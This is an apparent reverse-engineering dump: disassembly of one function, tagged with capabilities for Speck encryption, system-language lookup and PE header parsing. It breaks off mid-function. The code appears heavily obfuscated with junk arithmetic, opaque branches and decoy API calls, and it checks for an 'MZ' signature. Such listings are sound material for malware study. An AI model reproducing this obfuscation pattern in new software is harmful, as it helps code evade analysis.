Function at 0x10011f90
Capabilities:
Encrypt data using speck
Identify system language via api
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10066500
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0xdc4
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov eax, dword [0x1007f1b0]
mov dword [ebp - 0x648], eax
mov byte [ebp - 0x12], 0xd4
mov cx, word [0x1007f170]
mov word [ebp - 0x1c], cx
mov dx, word [0x1007f148]
mov word [ebp - 0x18], dx
mov eax, 0x122d2
mov dword [ebp - 0x80], 0xa585df29
mov dword [ebp - 0x7c], eax
mov cx, word [0x1007f14c]
mov word [ebp - 0x20], cx
mov edx, dword [0x1007f188]
mov eax, dword [0x1007f18c]
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x48], eax
movzx ecx, word [0x1007f168]
mov dword [ebp - 0x34], ecx
xor edx, edx
mov dword [ebp - 0x88], 0x4e
mov dword [ebp - 0x84], edx
mov eax, 0x5468f
mov dword [ebp - 0x70], 0xe08bd526
mov dword [ebp - 0x6c], eax
mov ecx, dword [0x1007f170]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x64], 0x92ca
xor edx, edx
mov dword [ebp - 0x44], 0xbdbd253a
mov dword [ebp - 0x40], edx
xor eax, eax
mov dword [ebp - 0x60], 0x5fd7
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x24], 0xe9bb1080
mov ecx, dword [0x1007f170]
xor edx, edx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x68], 0xe8c83fb1
mov eax, 0xaeaac
mov dword [ebp - 0x78], 0xe510eac1
mov dword [ebp - 0x74], eax
movzx ecx, word [0x1007f168]
mov dword [ebp - 0x30], ecx
mov edx, 0xffff80fc
mov word [ebp - 0x58], dx
mov eax, dword [0x1007f198]
mov ecx, dword [0x1007f19c]
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x3c], 0x6ca1
mov edx, dword [str.C]
mov dword [ebp - 0x50], edx
mov byte [ebp - 0x11], 1
mov al, byte [0x1007f140]
mov byte [ebp - 0x13], al
mov ecx, dword [0x1007f170]
mov dword [ebp - 0x670], ecx
mov edx, dword [0x1007f1b0]
mov eax, dword [0x1007f1b4]
mov dword [ebp - 0x6c4], edx
mov dword [ebp - 0x6c0], eax
movsx eax, word [0x1007f15c]
cdq
mov dword [ebp - 0x6cc], eax
mov dword [ebp - 0x6c8], edx
mov ecx, 0x1f6c
mov word [ebp - 0x384], cx
mov dx, word [0x1007f1c0]
mov word [ebp - 0x388], dx
mov dword [ebp - 0x674], 0x8d
mov eax, dword [0x1007f160]
mov ecx, dword [0x1007f164]
mov dword [ebp - 0x678], ecx
mov byte [ebp - 0xdd], al
mov dx, word [0x1007f140]
mov word [ebp - 0x38c], dx
mov eax, dword [0x1007f138]
mov ecx, dword [0x1007f13c]
mov dword [ebp - 0x6d4], eax
mov dword [ebp - 0x6d0], ecx
mov edx, 0x3bd1
mov word [ebp - 0x390], dx
mov dword [ebp - 0x67c], 0x85
mov eax, dword [0x1007f1bc]
xor ecx, ecx
mov edx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
mov dword [ebp - 0x3b4], eax
mov dword [ebp - 0x3b0], ecx
mov dword [ebp - 0x3bc], edx
mov dword [ebp - 0x3b8], esi
mov eax, dword [ebp - 0x3b4]
cmp eax, dword [ebp - 0x3bc]
jne 0x100121c0
mov ecx, dword [ebp - 0x3b0]
cmp ecx, dword [ebp - 0x3b8]
jne 0x100121c0
mov dword [ebp - 0x294], 1
jmp 0x100121ca
mov dword [ebp - 0x294], 0
cmp dword [0x1007f1bc], 0x34
jne 0x100121df
mov dword [ebp - 0x298], 1
jmp 0x100121e9
mov dword [ebp - 0x298], 0
mov edx, dword [ebp - 0x294]
cmp edx, dword [ebp - 0x298]
jg 0x100122cd
movsx eax, word [0x1007f1a8]
test eax, eax
je 0x10012210
movsx ecx, word [ebp - 0x18]
not ecx
test ecx, ecx
je 0x10012236
movzx edx, byte [ebp - 0x13]
add edx, 0x142fd224
mov dword [ebp - 0x34], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x680], ecx
add eax, 0x306b023b
mov dword [ebp - 0x34], eax
jmp 0x100122cb
cmp dword [ebp - 0x68], 0
je 0x10012277
movsx edx, byte [ebp - 0x11]
movsx eax, word [0x1007f148]
add edx, eax
movsx ecx, byte [ebp - 0x11]
add ecx, edx
mov byte [ebp - 0x11], cl
mov eax, dword [ebp - 0x68]
sub eax, 0x531a
cdq
mov dword [0x1007f198], eax
mov dword [0x1007f19c], edx
movsx edx, word [ebp - 0x20]
imul eax, edx, 0xd2eb813b
mov dword [0x1007f140], eax
jmp 0x100122cb
movzx ecx, word [0x1007f16c]
test ecx, ecx
je 0x100122cb
imul edx, dword [ebp - 0x38], 0xe8e3
mov word [0x1007f14c], dx
mov eax, dword [ebp - 0x24]
cdq
mov ecx, dword [0x1007f120]
sub ecx, eax
mov eax, dword [0x1007f124]
sbb eax, edx
mov edx, dword [0x1007f120]
sub edx, ecx
mov ecx, dword [0x1007f124]
sbb ecx, eax
mov dword [0x1007f120], edx
mov dword [0x1007f124], ecx
mov edx, dword [ebp - 0x3c]
add edx, 0x3ec66bf9
mov byte [ebp - 0x11], dl
jmp 0x10012306
movsx eax, word [0x1007f148]
cdq
mov ecx, dword [0x1007f198]
mov esi, dword [0x1007f19c]
push esi
push ecx
push edx
push eax
call fcn.1005a1b0
mov ecx, eax
movsx eax, word [0x1007f148]
cdq
add eax, ecx
mov word [0x1007f148], ax
imul edx, dword [ebp - 0x34], 0xbc80
mov dword [ebp - 0x24], edx
mov eax, dword [0x1007fc38]
mov dword [ebp - 0x9c], eax
movzx ecx, word [0x1007f180]
push ecx
push 0
push 8
movzx edx, word [0x1007f15c]
push edx
movzx eax, word [0x1007f1c8]
push eax
push 0
movzx ecx, word [0x1007f188]
push ecx
call fcn.10035820
add esp, 0x1c
cwde
cdq
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov edx, dword [ebp - 0x80]
or edx, dword [ebp - 0x7c]
je 0x1001235b
mov dword [ebp - 0x29c], 1
jmp 0x10012365
mov dword [ebp - 0x29c], 0
cmp dword [ebp - 0x80], 0x3d
jne 0x10012371
cmp dword [ebp - 0x7c], 0
je 0x1001237d
mov dword [ebp - 0x2a0], 1
jmp 0x10012387
mov dword [ebp - 0x2a0], 0
mov eax, dword [ebp - 0x29c]
cmp eax, dword [ebp - 0x2a0]
jle 0x10012528
mov ecx, dword [ebp - 0x4c]
mov edx, dword [ebp - 0x48]
mov dword [ebp - 0x3c4], ecx
mov dword [ebp - 0x3c0], edx
mov eax, dword [ebp - 0x3c0]
cmp eax, dword [ebp - 0x84]
jg 0x1001241d
jl 0x100123c9
mov ecx, dword [ebp - 0x3c4]
cmp ecx, dword [ebp - 0x88]
jae 0x1001241d
mov edx, dword [ebp - 0x3c]
xor eax, eax
mov ecx, dword [0x1007f1b4]
push ecx
mov ecx, dword [0x1007f1b0]
push ecx
push eax
push edx
call fcn.1005a1b0
mov edx, dword [ebp - 0x3c]
add edx, eax
mov dword [ebp - 0x3c], edx
movsx eax, word [ebp - 0x18]
cdq
mov ecx, eax
sub ecx, 0x47ee9163
movzx eax, word [0x1007f1a0]
cdq
sub eax, ecx
mov word [0x1007f1a0], ax
movzx edx, byte [0x1007f026]
sub edx, 0x11f06958
mov dword [ebp - 0x3c], edx
jmp 0x10012523
mov eax, 0x72
test eax, eax
je 0x1001243a
mov ecx, dword [ebp - 0x70]
or ecx, dword [ebp - 0x6c]
je 0x1001243a
mov dword [ebp - 0xe8], 1
jmp 0x10012444
mov dword [ebp - 0xe8], 0
movzx eax, word [0x1007f14c]
cdq
mov ecx, dword [0x1007f17c]
push ecx
mov ecx, dword [0x1007f178]
push ecx
push edx
push eax
call fcn.1005a1b0
mov ecx, eax
mov esi, edx
mov eax, dword [ebp - 0xe8]
not eax
cdq
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x3cc], ecx
mov dword [ebp - 0x3c8], esi
mov edx, dword [ebp - 0x3cc]
or edx, dword [ebp - 0x3c8]
jne 0x100124dd
movzx eax, byte [ebp - 0x13]
xor eax, 0x19
mov byte [0x1007f027], al
cmp dword [ebp - 0x54], 0
je 0x100124b2
mov eax, dword [0x1007f140]
cdq
mov dword [ebp - 0x2a8], eax
mov dword [ebp - 0x2a4], edx
jmp 0x100124c4
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
mov dword [ebp - 0x2a8], ecx
mov dword [ebp - 0x2a4], edx
mov eax, dword [ebp - 0x2a8]
mov ecx, dword [ebp - 0x2a4]
mov dword [0x1007f188], eax
mov dword [0x1007f18c], ecx
jmp 0x10012523
movzx edx, word [0x1007f1a0]
cmp dword [0x1007f154], edx
jb 0x100124f8
mov dword [ebp - 0xec], 1
jmp 0x10012502
mov dword [ebp - 0xec], 0
mov eax, dword [ebp - 0x68]
add eax, dword [ebp - 0xec]
je 0x10012523
movsx ecx, word [ebp - 0x18]
mov dword [0x1007f1a4], ecx
mov dx, word [ebp - 0x18]
sub dx, 1
mov word [ebp - 0x18], dx
jmp 0x100125b5
movzx eax, word [0x1007f1b8]
add eax, 0xf
cdq
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
mov byte [ebp - 0x11], 8
movzx eax, word [0x1007f1c8]
not eax
cdq
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
sub ecx, eax
sbb esi, edx
mov edx, dword [ebp - 0x88]
sub edx, ecx
mov eax, dword [ebp - 0x84]
sbb eax, esi
mov dword [ebp - 0x3d4], edx
mov dword [ebp - 0x3d0], eax
mov ecx, dword [ebp - 0x3d4]
or ecx, dword [ebp - 0x3d0]
jne 0x10012587
mov dword [ebp - 0xf0], 1
jmp 0x10012591
mov dword [ebp - 0xf0], 0
movsx edx, word [ebp - 0x18]
movsx eax, word [0x1007f148]
movzx ecx, byte [0x1007f04e]
and eax, ecx
not eax
add eax, dword [ebp - 0xf0]
add eax, edx
mov word [0x1007f168], ax
mov edx, dword [ebp - 0x9c]
add edx, 0x25d
mov dword [ebp - 0x394], edx
movsx eax, word [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_OpenIcon]
mov word [0x1007f168], ax
mov ecx, dword [ebp - 0x9c]
add ecx, 0x375
mov dword [ebp - 0xa0], ecx
movzx edx, word [0x1007f16c]
movzx eax, word [0x1007f1a0]
add edx, eax
mov word [0x1007f16c], dx
mov eax, dword [ebp - 0x64]
cdq
mov ecx, dword [0x1007f1d0]
mov edx, dword [0x1007f1d4]
mov dword [ebp - 0x684], edx
sub eax, ecx
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x9c]
add eax, 0x3c1
mov dword [ebp - 0x688], eax
mov ecx, dword [0x1007f190]
mov esi, dword [0x1007f194]
movsx eax, word [0x1007f1a8]
cdq
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x3d8], esi
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], edx
mov edx, dword [ebp - 0x3d8]
cmp edx, dword [ebp - 0x3e0]
jg 0x10012683
jl 0x10012677
mov eax, dword [ebp - 0x3dc]
cmp eax, dword [ebp - 0x3e4]
jae 0x10012683
mov dword [ebp - 0xf4], 1
jmp 0x1001268d
mov dword [ebp - 0xf4], 0
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
mov dword [ebp - 0x3ec], ecx
mov dword [ebp - 0x3e8], edx
cmp dword [ebp - 0x3e8], 0
jg 0x100126c5
jl 0x100126b9
cmp dword [ebp - 0x3ec], 0x3a
jae 0x100126c5
mov dword [ebp - 0xf8], 1
jmp 0x100126cf
mov dword [ebp - 0xf8], 0
mov eax, dword [ebp - 0xf4]
cmp eax, dword [ebp - 0xf8]
jne 0x1001277c
jmp 0x10012701
jmp 0x1001272f
jmp 0x10012740
jmp 0x1001277c
mov dword [ebp - 0x8c], 0
movzx ecx, word [0x1007f168]
add ecx, 0x12333cf1
mov dword [ebp - 0x50], ecx
movsx eax, word [ebp - 0x18]
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov eax, dword [0x1007f140]
cdq
push edx
push eax
mov edx, dword [0x1007f180]
xor eax, eax
push eax
push edx
movsx eax, word [0x1007f15c]
cdq
push edx
push eax
push 0
push 0x85
call fcn.10034db0
add esp, 0x20
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x3f0], edx
mov eax, dword [ebp - 0x3f4]
or eax, dword [ebp - 0x3f0]
je 0x10012818
xor ecx, ecx
mov edx, dword [0x1007f138]
mov eax, dword [0x1007f13c]
sub edx, dword [ebp - 0x30]
sbb eax, ecx
mov dword [ebp - 0x60], edx
mov dword [ebp - 0x5c], eax
mov cl, byte [0x1007fc38]
mov byte [ebp - 0x12], cl
jmp 0x1001299f
movsx edx, word [0x1007f1a8]
test edx, edx
je 0x10012904
mov eax, dword [ebp - 0x64]
cdq
mov ecx, dword [ebp - 0x7c]
push ecx
mov ecx, dword [ebp - 0x80]
push ecx
push edx
push eax
call fcn.1005a1b0
push edx
push eax
mov edx, dword [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
call fcn.1005a1b0
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0x3f8], edx
mov ecx, dword [ebp - 0x3fc]
or ecx, dword [ebp - 0x3f8]
jne 0x10012877
xor edx, edx
mov dword [ebp - 0x2c8], 1
mov dword [ebp - 0x2c4], edx
jmp 0x10012882
xorps xmm0, xmm0
movlpd qword [ebp - 0x2c8], xmm0
mov ecx, dword [0x1007f1bc]
xor esi, esi
xor ecx, dword [0x1007f1b0]
xor esi, dword [0x1007f1b4]
mov eax, dword [ebp - 0x24]
cdq
sub ecx, eax
sbb esi, edx
add ecx, dword [ebp - 0x2c8]
adc esi, dword [ebp - 0x2c4]
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x400], esi
mov edx, dword [ebp - 0x404]
or edx, dword [ebp - 0x400]
jne 0x100128d0
mov dword [ebp - 0xfc], 1
jmp 0x100128da
mov dword [ebp - 0xfc], 0
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x54], eax
movzx ecx, byte [0x1007f027]
add ecx, 0x69d807fc
mov dword [0x1007f180], ecx
mov edx, 0x4dd5
mov word [ebp - 0x18], dx
jmp 0x1001299f
mov eax, dword [0x1007f130]
mov ecx, dword [0x1007f134]
mov dword [ebp - 0x40c], eax
mov dword [ebp - 0x408], ecx
mov edx, dword [ebp - 0x40c]
or edx, dword [ebp - 0x408]
je 0x1001299f
movzx eax, word [0x1007f1a0]
test eax, eax
je 0x10012946
mov eax, dword [ebp - 0x64]
cdq
mov dword [ebp - 0x2d0], eax
mov dword [ebp - 0x2cc], edx
jmp 0x10012958
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x2d0], ecx
mov dword [ebp - 0x2cc], edx
mov eax, dword [ebp - 0x2d0]
mov dword [str.C], eax
movsx eax, word [0x1007f148]
add eax, 0x8ba9
cdq
mov dword [0x1007f178], eax
mov dword [0x1007f17c], edx
mov ecx, dword [0x1007f1d4]
mov edx, dword [0x1007f1b0]
sub edx, dword [0x1007f1d0]
mov eax, dword [0x1007f1b4]
sbb eax, ecx
mov dword [0x1007f1b0], edx
mov dword [0x1007f1b4], eax
mov ecx, dword [ebp - 0x50]
add ecx, 0xf4726747
mov word [0x1007f1b8], cx
mov edx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x68c], eax
mov ecx, 1
imul eax, ecx, 6
mov byte [eax + 0x10322c20], dl
movsx ecx, word [0x1007f148]
test ecx, ecx
je 0x100129f3
mov dword [0x1007f1bc], 0x346c
movzx edx, word [0x1007f14c]
imul eax, edx, 0xb0
mov word [0x1007f1a0], ax
jmp 0x10012a56
mov ecx, dword [0x1007f138]
mov edx, dword [0x1007f13c]
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x410], edx
mov eax, dword [ebp - 0x414]
or eax, dword [ebp - 0x410]
jne 0x10012a56
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x418], edx
mov eax, dword [ebp - 0x41c]
or eax, dword [ebp - 0x418]
je 0x10012a56
mov cx, word [0x1007fc38]
mov word [0x1007f148], cx
mov edx, dword [str.C]
sub edx, 0xb1
mov byte [ebp - 0x12], dl
mov eax, dword [0x1007f178]
sub eax, 0xd80c9e2
mov byte [ebp - 0x11], al
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
not ecx
not edx
mov eax, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
push edx
push ecx
push esi
push eax
call fcn.1005a1b0
not eax
not edx
mov ecx, dword [ebp - 0x78]
mov esi, dword [ebp - 0x74]
push esi
push ecx
push edx
push eax
call fcn.1005a1b0
mov word [ebp - 0x58], ax
xor edx, edx
mov dword [0x1007f190], 2
mov dword [0x1007f194], edx
mov ecx, 0x10
mov esi, dword [ebp + 8]
lea edi, [ebp - 0x724]
rep movsd dword es:[edi], dword [esi]
call dword [sym.imp.USER32.dll_GetCapture]
xor ecx, ecx
mov dword [0x1007f198], eax
mov dword [0x1007f19c], ecx
imul edx, dword [ebp - 0xa0], 0xf6
mov eax, dword [ebp - 0x394]
xor eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
add ecx, eax
cmp edx, ecx
je 0x10017190
push 0
push 4
push 0
push 0
push 0
push 0
call fcn.10035b90
add esp, 0x18
mov byte [0x1007f04e], al
movzx edx, byte [0x1007f04e]
test edx, edx
jg 0x10012b24
mov dword [ebp - 0x100], 1
jmp 0x10012b2e
mov dword [ebp - 0x100], 0
movzx eax, byte [0x1007f04e]
cmp eax, 0x52
jg 0x10012b46
mov dword [ebp - 0x104], 1
jmp 0x10012b50
mov dword [ebp - 0x104], 0
mov ecx, dword [ebp - 0x100]
cmp ecx, dword [ebp - 0x104]
je 0x10012b7b
mov edx, dword [0x1007f160]
mov eax, dword [0x1007f164]
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x74], eax
mov dword [str.C], 0xd0f58352
jmp 0x10012bc6
cmp dword [ebp - 0x34], 0
je 0x10012b90
movzx ecx, byte [0x1007f04e]
mov dword [ebp - 0x108], ecx
jmp 0x10012b99
mov edx, dword [ebp - 0x38]
mov dword [ebp - 0x108], edx
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x34], eax
movzx ecx, word [0x1007f168]
test ecx, ecx
jne 0x10012bb6
mov byte [ebp - 0x8d], 1
jmp 0x10012bbd
mov byte [ebp - 0x8d], 0
mov dl, byte [ebp - 0x8d]
mov byte [ebp - 0x12], dl
mov eax, dword [0x1007f198]
mov ecx, dword [0x1007f19c]
mov dword [ebp - 0x424], eax
mov dword [ebp - 0x420], ecx
mov edx, dword [ebp - 0x424]
or edx, dword [ebp - 0x420]
je 0x10012db4
mov eax, dword [ebp - 0x40]
cmp eax, dword [ebp - 0x40]
jl 0x10012d03
jg 0x10012c09
mov ecx, dword [ebp - 0x44]
cmp ecx, dword [ebp - 0x44]
jbe 0x10012d03
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessorNumber]
mov byte [0x1007f027], al
cmp dword [ebp - 0x24], 0
jne 0x10012cc8
movzx edx, word [0x1007f16c]
cmp dword [ebp - 0x50], edx
je 0x10012cc8
mov dword [ebp - 4], 0
movzx eax, byte [ebp - 0x13]
imul eax, dword [ebp - 0x68]
mov dword [ebp - 0x64], eax
movsx ecx, word [ebp - 0x20]
sub ecx, dword [0x1007f180]
movsx edx, word [ebp - 0x20]
add edx, ecx
mov word [ebp - 0x20], dx
jmp 0x10012cb6
mov dword [ebp - 4], 0xffffffff
jmp 0x10012cc6
jmp 0x10012cfe
mov ecx, dword [0x1007f120]
add ecx, 0x7944c9dc
mov word [0x1007f148], cx
mov edx, dword [0x1007f180]
shl edx, 7
mov word [0x1007f168], dx
movzx eax, word [0x1007f1a0]
movsx ecx, word [ebp - 0x58]
add eax, ecx
mov word [0x1007f1a0], ax
jmp 0x10012db4
mov edx, dword [ebp - 0x44]
or edx, dword [ebp - 0x40]
jne 0x10012d17
mov dword [ebp - 0x10c], 1
jmp 0x10012d21
mov dword [ebp - 0x10c], 0
mov eax, dword [ebp - 0x3c]
cmp eax, dword [ebp - 0x10c]
jb 0x10012d58
movzx ecx, byte [0x1007f04e]
add ecx, dword [ebp - 0x64]
movzx edx, byte [0x1007f04e]
sub edx, ecx
mov byte [0x1007f04e], dl
xor eax, eax
mov dword [0x1007f1b0], 4
mov dword [0x1007f1b4], eax
jmp 0x10012db4
movzx ecx, byte [0x1007f027]
test ecx, ecx
je 0x10012db4
movzx edx, word [0x1007f1b8]
imul eax, edx, 0x6e3a
cdq
or eax, dword [ebp - 0x44]
or edx, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], edx
movzx eax, byte [0x1007f027]
imul eax, dword [0x1007f170]
mov dword [0x1007f170], eax
mov ecx, dword [0x1007f178]
add ecx, dword [0x1007f178]
mov edx, dword [0x1007f17c]
adc edx, dword [0x1007f17c]
mov dword [0x1007f178], ecx
mov dword [0x1007f17c], edx
movzx eax, word [ebp - 0x724]
cmp eax, 0x5a4d
jne 0x10017190
mov eax, dword [0x1007f1a4]
cdq
mov ecx, dword [ebp - 0x2c]
mov esi, dword [ebp - 0x28]
mov dword [ebp - 0x42c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x430], esi
mov edx, dword [ebp - 0x428]
cmp edx, dword [ebp - 0x430]
ja 0x10012e14
jb 0x10012e08
mov eax, dword [ebp - 0x42c]
cmp eax, dword [ebp - 0x434]
ja 0x10012e14
mov dword [ebp - 0x110], 1
jmp 0x10012e1e
mov dword [ebp - 0x110], 0
cmp dword [0x1007f1a4], 0x3e
jg 0x10012e33
mov dword [ebp - 0x114], 1
jmp 0x10012e3d
mov dword [ebp - 0x114], 0
mov ecx, dword [ebp - 0x110]
cmp ecx, dword [ebp - 0x114]
je 0x10012e95
movsx edx, word [0x1007f148]
mov eax, dword [ebp - 0x64]
sub eax, edx
jne 0x10012e67
mov ecx, 1
mov word [ebp - 0x98], cx
jmp 0x10012e70
xor edx, edx
mov word [ebp - 0x98], dx
mov ax, word [ebp - 0x98]
mov word [ebp - 0x20], ax
mov ecx, dword [ebp - 0x38]
imul ecx, dword [str.C]
xor edx, edx
mov dword [0x1007f1c0], ecx
mov dword [0x1007f1c4], edx
jmp 0x10012eba
mov eax, dword [ebp - 0x44]
or eax, dword [ebp - 0x40]
je 0x10012eba
movzx eax, word [0x1007f14c]
sub eax, 0xc67a
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
mov ecx, dword [0x1007f144]
mov word [ebp - 0x18], cx
movzx edx, word [0x1007f16c]
and edx, dword [ebp - 0x54]
movzx eax, word [0x1007f16c]
imul eax, edx
mov word [0x1007f16c], ax
imul ecx, dword [0x1007f1bc], 0x50394d6c
xor edx, edx
mov eax, dword [ebp - 0x44]
sub eax, ecx
mov ecx, dword [ebp - 0x40]
sbb ecx, edx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x40], ecx
mov edx, 4
imul eax, edx, 0x3848
movsx ecx, byte [ebp - 0x11]
add ecx, dword [eax + 0x102b9e20]
mov byte [ebp - 0x11], cl
mov edx, dword [0x1007fc38]
mov dword [ebp - 0xa8], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x28]
mov dword [ebp - 0x43c], eax
mov dword [ebp - 0x438], ecx
mov edx, dword [ebp - 0x43c]
or edx, dword [ebp - 0x438]
je 0x10012fdf
cmp dword [ebp - 0x68], 0
je 0x10012f97
mov eax, dword [0x1007f1c0]
add eax, 0xe0e8f8bb
mov ecx, dword [0x1007f1c4]
adc ecx, 0x5fa1
mov dword [0x1007f188], eax
mov dword [0x1007f18c], ecx
movsx edx, word [ebp - 0x18]
add edx, 0xadf1
mov word [0x1007f15c], dx
movzx eax, word [ebp - 0x1c]
cdq
mov ecx, eax
mov edx, dword [0x1007f130]
mov eax, dword [0x1007f134]
mov dword [ebp - 0x698], eax
add ecx, edx
movzx eax, word [ebp - 0x1c]
cdq
add eax, ecx
mov word [ebp - 0x1c], ax
jmp 0x10012fdd
movsx ecx, byte [ebp - 0x11]
test ecx, ecx
jne 0x10012fdd
movzx edx, byte [0x1007f027]
imul eax, edx, 0x99
or eax, dword [0x1007f180]
mov dword [0x1007f180], eax
mov ecx, dword [ebp - 0x78]
mov edx, dword [ebp - 0x74]
push 0xe748c
push 0xe22aef0
push edx
push ecx
call fcn.1005a1b0
mov word [0x1007f15c], ax
mov eax, dword [ebp - 0x68]
shl eax, 4
mov dword [ebp - 0x3c], eax
jmp 0x10013018
mov ecx, dword [0x1007f190]
mov edx, dword [0x1007f194]
mov dword [ebp - 0x69c], edx
sub ecx, 0x65373f61
mov word [0x1007f1a8], cx
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
push 0
push 0x82145bb0
push ecx
push eax
call fcn.1005a1b0
mov word [0x1007f1b8], ax
mov edx, dword [ebp - 0xa8]
add edx, 0x4c6
mov dword [ebp - 0x39c], edx
mov eax, dword [0x1007f170]
cmp eax, dword [ebp - 0x68]
jbe 0x10013040
mov dword [ebp - 0x118], 1
jmp 0x1001304a
mov dword [ebp - 0x118], 0
cmp dword [0x1007f170], 0x33
jbe 0x1001305f
mov dword [ebp - 0x11c], 1
jmp 0x10013069
mov dword [ebp - 0x11c], 0
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x11c]
jl 0x10013348
movzx eax, byte [0x1007f04e]
cdq
add eax, 0xeeca0432
adc edx, 0x65a89
not eax
not edx
mov dword [ebp - 0x444], eax
mov dword [ebp - 0x440], edx
mov edx, dword [ebp - 0x444]
or edx, dword [ebp - 0x440]
je 0x1001311c
mov dword [ebp - 0xa4], 0x33
jmp 0x100130c7
mov eax, dword [ebp - 0xa4]
sub eax, 1
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jle 0x10013117
mov ecx, dword [0x1007f1c0]
add ecx, 0x57e4ffff
not ecx
mov eax, dword [ebp - 0x38]
cdq
add eax, dword [0x1007f188]
sub ecx, eax
mov byte [ebp - 0x12], cl
mov edx, dword [ebp - 0x50]
add edx, 0xb9b7
xor eax, eax
mov dword [0x1007f1d0], edx
mov dword [0x1007f1d4], eax
mov cx, word [0x1007f148]
add cx, 1
mov word [0x1007f148], cx
jmp 0x100130b8
jmp 0x10013343
cmp dword [0x1007f158], 0x6cc6
jae 0x10013134
mov dword [ebp - 0x120], 1
jmp 0x1001313e
mov dword [ebp - 0x120], 0
mov edx, dword [0x1007f178]
or edx, dword [0x1007f17c]
jne 0x1001317d
mov eax, dword [0x1007f1d0]
mov ecx, dword [0x1007f1d4]
mov dword [ebp - 0x44c], eax
mov dword [ebp - 0x448], ecx
mov edx, dword [ebp - 0x44c]
or edx, dword [ebp - 0x448]
je 0x1001317d
mov dword [ebp - 0x124], 0
jmp 0x10013187
mov dword [ebp - 0x124], 1
mov eax, dword [ebp - 0x120]
cmp eax, dword [ebp - 0x124]
jl 0x100131d2
mov ecx, dword [ebp - 0x60]
xor ecx, 0x3c
mov edx, dword [ebp - 0x34]
sub edx, ecx
mov dword [ebp - 0x34], edx
mov eax, dword [0x1007f144]
cdq
mov ecx, dword [ebp - 0x4c]
mov esi, dword [ebp - 0x48]
sub ecx, eax
sbb esi, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x48], esi
mov dl, byte [ebp - 0x44]
mov eax, 1
imul ecx, eax, 0x7e5
mov byte [ecx + 0x1016af40], dl
jmp 0x10013343
cmp dword [str.C], 0
jne 0x100131e7
mov dword [ebp - 0x128], 1
jmp 0x100131f1
mov dword [ebp - 0x128], 0
movzx edx, word [ebp - 0x1c]
cmp edx, dword [ebp - 0x128]
jge 0x10013209
mov dword [ebp - 0x12c], 1
jmp 0x10013213
mov dword [ebp - 0x12c], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x450], ecx
cmp dword [ebp - 0x450], 0
jg 0x10013245
jl 0x10013239
cmp dword [ebp - 0x454], 0x7e
jae 0x10013245
mov dword [ebp - 0x130], 1
jmp 0x1001324f
mov dword [ebp - 0x130], 0
mov edx, dword [ebp - 0x12c]
cmp edx, dword [ebp - 0x130]
jle 0x100132aa
mov eax, 4
imul ecx, eax, 0x16b3
mov edx, dword [ecx + 0x1032d050]
mov dword [0x1007f170], edx
mov eax, dword [ebp - 0x30]
imul eax, dword [ebp - 0x3c]
mov ecx, dword [ebp - 0x30]
add ecx, eax
mov dword [ebp - 0x30], ecx
movsx eax, word [0x1007f15c]
cdq
mov edx, dword [0x1007f160]
mov ecx, dword [0x1007f164]
mov dword [ebp - 0x6a0], ecx
xor eax, edx
mov word [0x1007f15c], ax
jmp 0x10013343
movzx edx, word [ebp - 0x1c]
test edx, edx
jne 0x100132c6
xor eax, eax
mov dword [ebp - 0x2d8], 1
mov dword [ebp - 0x2d4], eax
jmp 0x100132d1
xorps xmm0, xmm0
movlpd qword [ebp - 0x2d8], xmm0
